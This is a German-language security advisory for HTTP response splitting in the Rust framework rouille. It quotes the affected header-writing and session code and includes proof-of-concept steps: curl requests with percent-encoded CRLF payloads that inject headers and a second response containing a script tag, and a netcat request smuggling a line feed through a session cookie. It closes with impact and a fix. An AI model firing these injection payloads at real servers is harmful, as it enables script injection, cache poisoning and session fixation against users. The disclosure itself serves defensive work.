
Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
Zugewiesene CVE-ID: CVE-2026-66746
rouille schreibt Antwort-Header-Werte ohne Prüfung auf Wagenrücklauf oder Zeilenvorschub an den Client. Eine Anwendung, die angreiferbeeinflussten Text in einen Header-Wert einfügt, sendet dadurch zusätzliche Header oder eine vollständige zweite HTTP-Antwort über die Leitung.
Zwei Eigenschaften von rouille machen dies in gewöhnlichem Code erreichbar. Request::get_param dekodiert Prozentkodierung, sodass %0d%0a in einer Query-Zeichenkette zu einem echten CRLF wird. Und session::session kopiert den eigenen Cookie-Wert des Clients unvalidiert in Set-Cookie.
Jeder andere weit verbreitete Rust-HTTP-Stack lehnt dies auf Typebene ab: http::HeaderValue::from_str gibt für CR und LF InvalidHeaderValue zurück, weshalb hyper, axum, actix-web und warp nicht auf dieselbe Weise exponiert sind.
Repo-URL: https://github.com/tomaka/rouille
| Erste betroffene Version | 0.4.0 (2016-12-14) für den folgenden Antwort-Header-Pfad |
| Letzte betroffene Version | 3.6.2 (2023-04-24), die aktuelle Version |
| Behoben in | zum Zeitpunkt dieses Schreibens keine behobene Version |
Versionen vor 0.4.0 senden Antworten über einen anderen Codepfad, der nicht untersucht wurde, daher wird für sie weder das eine noch das andere behauptet. Die unter Pfad B beschriebene session::session-Reflektion existiert ab 0.3.2 (2016-12-02).
CWE-113 (Unzureichende Neutralisierung von CRLF-Sequenzen in HTTP-Headern), ein spezieller Fall von CWE-93 (CRLF-Injection).
CVSS 4.0 Basisscore 5.3 (Mittel)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Pfad A erfordert einen entfernten, nicht authentifizierten Angreifer und ein Opfer, das einem vom Angreifer bereitgestellten Link folgt. Der Angreifer muss die Anwendung dazu bringen, eine beliebige, aus der Anfrage stammende Zeichenkette in einen Antwort-Header einzufügen. Das Weiterleiten auf einen next- oder return_to-Query-Parameter ist der häufige Fall.
Pfad B erfordert nur, dass die Anwendung session::session aufruft und die Session-ID liest. Der Angreifer kontrolliert seinen eigenen Cookie-Header, daher ist dies für sich genommen selbstverschuldet. Es wird zu einem Angriff auf andere, wenn ein gemeinsam genutzter Cache die geteilte Antwort speichert oder wenn es mit einer anderen Möglichkeit kombiniert wird, ein Cookie im Browser des Opfers zu setzen.
rouille/src/lib.rs, Zeilen 624 bis 640, reicht Werte direkt durch:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes prüft nur, ob die Bytes ASCII sind, und CR und LF sind ASCII. tiny_http-0.12.0/src/common.rs, Zeilen 166 bis 172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
Der Wert wird dann ohne Maskierung geschrieben.
tiny_http-0.12.0/src/response.rs, Zeilen 99 bis 104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param dekodiert Prozent-Escapes, sodass der Aufrufer echte Steuerzeichen erhält. rouille/src/lib.rs, Zeilen 928 bis 932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs übernimmt den Schlüssel aus dem Cookie des Clients in Zeile 59 und interpoliert ihn in Zeilen 75 bis 81 in den Antwort-Header:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
Schritt 1. Starten Sie einen Server, der auf einen Query-Parameter weiterleitet.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
Schritt 2. Fragen Sie ihn mit %0d%0a im Parameter ab.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
Ergebnis. X-Injected kommt als eigener Header an:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
Schritt 3. Erweitern Sie das Payload über das Ende der Header hinaus, um eine vollständige zweite Antwort zu senden.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
Ergebnis. Eine Anfrage, zwei vollständige Antworten. Die zweite trägt eine vom Angreifer gewählte Statuszeile, einen gewählten Content-Type und einen gewählten Body:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Schritt 1. Starten Sie einen Server, der das dokumentierte Session-Idiom verwendet.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
Schritt 2. Senden Sie ein Cookie, dessen Wert ein einzelnes LF enthält. \n unten ist ein einzelner Zeilenvorschub, \r\n ein CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
Ergebnis. Der Wert bricht aus Set-Cookie in eine eigene Zeile aus:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
Pfad B hat drei erwähnenswerte Einschränkungen. Nur ein einzelnes LF kommt durch, denn CRLF hätte die Header-Zeile in tiny_http beendet; der Client oder Cache muss also ein einzelnes LF als Terminator behandeln. Alles nach der Injektionsstelle trägt weiterhin das Suffix ; Max-Age=3600; Path=/; HttpOnly aus demselben format!, daher ist das Primitive ein Header mit einem festen angehängten String und kein sauberer beliebiger Header. Und der Angreifer kontrolliert nur sein eigenes Cookie. Pfad A hat keine dieser Einschränkungen.
Skriptausführung im Sicherheitskontext des Ursprungs, Cache-Poisoning, wenn ein gemeinsam genutzter Cache die injizierte Antwort für die URL des Opfers speichert, Session-Fixation durch ein injiziertes Set-Cookie sowie das Überschreiben von Sicherheits-Headern wie CSP oder CORS. Da Pfad A ein echtes CRLF erzeugt, teilen jeder Client und jeder Cache daran.
Validieren Sie Header-Werte in Server::process, bevor Sie sie an tiny_http übergeben, in rouille/src/lib.rs um Zeile 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
Geben Sie für die gesamte Antwort einen 500 zurück, anstatt den fehlerhaften Header zu verwerfen, damit der Fehler sichtbar wird, statt die Antwort stillschweigend zu verändern.
Validieren Sie den Session-Schlüssel auch in session::session: Weisen Sie einen Cookie-Wert zurück, der nicht [A-Za-z0-9]+ ist, und erzeugen Sie stattdessen eine neue ID. Eine Prüfung in Response::with_additional_header, with_unique_header und den redirect_*-Konstruktoren würde den Fehler an der Aufrufstelle sichtbar machen, wo der Autor der Anwendung darauf reagieren kann.